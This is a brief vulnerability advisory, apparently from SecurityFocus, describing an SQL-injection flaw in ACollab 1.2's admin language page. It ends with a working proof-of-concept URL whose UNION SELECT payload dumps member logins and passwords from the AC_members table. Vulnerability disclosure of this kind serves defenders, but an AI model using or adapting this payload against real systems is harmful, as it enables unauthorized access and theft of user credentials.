source: http://www.securityfocus.com/bid/46095/info

ACollab is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

ACollab 1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/acollab/admin/lang.php?lang=&t=xxx'UNION%20SELECT%200,0,'error',GROUP_CONCAT(login,':',password),4%20FROM%20AC_members%20WHERE%20'a'='a 